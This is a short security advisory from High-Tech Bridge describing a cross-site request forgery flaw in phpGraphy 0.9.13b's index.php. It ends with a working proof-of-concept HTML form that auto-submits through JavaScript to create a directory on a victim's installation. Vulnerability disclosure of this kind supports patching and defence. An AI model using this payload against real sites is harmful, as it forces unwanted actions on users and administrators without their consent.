Vulnerability ID: HTB22959 Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_phpgraphy.html Product: phpGraphy Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ ) Vulnerable Version: 0.9.13b Vendor Notification: 14 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "index.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/index.php"; method="post" name="main" id="main"> <input type="hidden" name="createdirname" value="1"> <input type="hidden" name="dircreate" value="1"> <input type="hidden" name="dir" value=""> <input type="hidden" name="submit" value="OK"> <input type="submit" id="btn"> </form> <script> document.getElementById('btn').click(); </script>
